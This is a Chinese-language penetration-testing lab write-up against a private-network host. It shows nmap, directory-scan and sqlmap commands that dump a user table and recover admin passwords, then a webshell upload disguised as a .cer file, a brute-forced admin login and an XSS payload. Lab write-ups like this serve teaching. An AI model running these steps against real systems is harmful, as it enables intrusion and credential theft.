渗透测试

渗透测试

端口探测

原理

记不起来了,反正考试考过的。

步骤

  1. 使用nmap扫描“172.16.43.117”,指令如下,sV参数表示获取端口的服务和版本,O参数表示获取主机系统。

    1
    nmap -O -sV 172.16.43.117

  2. 发现8010端口8011端口比较邪乎,就从这里入,分析如下。

    1
    2
    3
    4
    5
    6
    7
    8
    8010端口:
    服务器:Windows_Server_2012
    中间件:Apache2.2.21
    服务:http
    8011端口:
    服务器:Windows_Server_2012
    中间件:IIS 6.0
    服务:http
  3. 入侵手法分析

    1
    2
    3
    4
    5
    6
    7
    1. 针对服务器系统漏洞入侵
    2. 针对HTTP服务入侵
    1. XSS
    2. SQL注入,获取管理员密码
    3. 文件上传漏洞,传入webshell
    4. 后台爆破
    3. 针对中间件入侵

目录扫描

原理

利用人类对网站目录取名的特点(简单明了)以及网站源码目录的收集,对目标网站的目录进行枚举访问,根据服务器返回的状态,判断该路径是否存在。常用于寻找网站后台路径。

步骤

  1. Linux下载工具

    1
    git clone https://gitee.com/orangice/webdirscan.git
  2. 8011端口网站的路径进行扫描

    1
    2
    cd webdirscan
    ./webdirscan.py -d ./dict/dict.txt 172.16.43.117:8011

  3. 分析扫描结果,可知后台路径:http://172.16.43.117:8011/admin/login.asp,至于账号和密码,采用接下来的SQL注入来获取。

SQL注入漏洞

原理

脚本文件直接将提交的参数拼接到数据库查询语句后面,导致用户可以自定义SQL查询语句。

步骤

  1. Linux下载sqlmap,kali自带。

    1
    2
    git clone --depth 1 https://gitee.com/orangice/sqlmap.git sqlmap
    cd sqlmap
  2. 打开8011端口的网站,发现两个可能存在的注入点如下,用sqlmap验证,发现Product.asp可以爆出存放用户信息的eims_User表,探测步骤从第三步开始。

    1
    http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9
    1
    http://172.16.43.117:8011/News.asp?SortID=1&ItemID=46
  3. 探测数据库

    1
    ./sqlmap.py -u "http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9"

  4. Test_EIMS数据库看起来有点怪,就它了,查看该数据库的表。

    1
    ./sqlmap.py -u "http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9" -D Test_EIMS --tables

  5. 发现eims_User表比较显眼,查看该表的数据如下。

    1
    ./sqlmap.py -u "http://172.16.43.117:8011/Product.asp?SortID=6&ItemID=9" -D Test_EIMS -T eims_User -C "Item1, Item2" --dump

  6. Item1列为用户名,Item2列为对应的密码(密码经过MD5加密),解密网站:点我

  7. 登录后台:http://172.16.43.117:8011/admin/login.asp

    1
    2
    用户名:admin
    密码:043817a99)

文件上传漏洞

原理

对文件上传类型限制不严格,导致用户可以上传一个可执行的脚本文件,如果该脚本含有恶意的代码,在浏览器访问这个文件时,服务器就会运行该脚本。建议采用白名单限制,文件标识检测等。

步骤

  1. 登录8011端口后台页面后,发现文件上传点。

  2. 在linux下下载webshell,下载链接,下载之后解压并修改后缀aspcer,然后上传。上传成功后,会显示如下路径。访问这个路径,就能进入webshell。

  3. 访问cer,可进入webshell界面,输入密码:mumaasp.com

后台爆破

原理

后台对登录没有限制,比如无验证码、无账户锁定策略(登录失败后不限制该账户的登录)等,导致用户可以无限制尝试登录,从而枚举密码。

8010端口后台爆破

  1. 对主机http://172.16.43.117:8010进行目录扫描,可获知后台路径:http://172.16.43.117:8010/admin/login.php。输入admin用户后,随便输入一个密码,会提示密码错误,之后随便输入一个用户名和密码,会弹出用户名错误,由此可猜测存在admin这个用户,由于没有验证码的限制因此可以采用暴力破解枚举admin的密码。

  2. 发现登录没有验证码,可考虑用burpsuite对admin账户爆破,如果需要详细爆破步骤:请百度。

  3. 得到账户信息如下

    1
    2
    用户名:admin
    密码:amanda

XSS漏洞

原理

没有对用户提交的内容进行过滤,导致用户可以在提交的信息中嵌入浏览器可执行的代码,当某些页面要显示这些信息时,浏览器会解析信息中的代码。

步骤

  1. 通过目录扫描可知8010端口的后台路径,利用爆破得到的用户名和密码登录8010端口后台后,找到如下界面,输入如下htlml代码,点击提交。仔细看图。

    1
    <script>alert("hello")</script>

  2. 提交之后访问任意一个8010端口的页面,会弹出如下框框。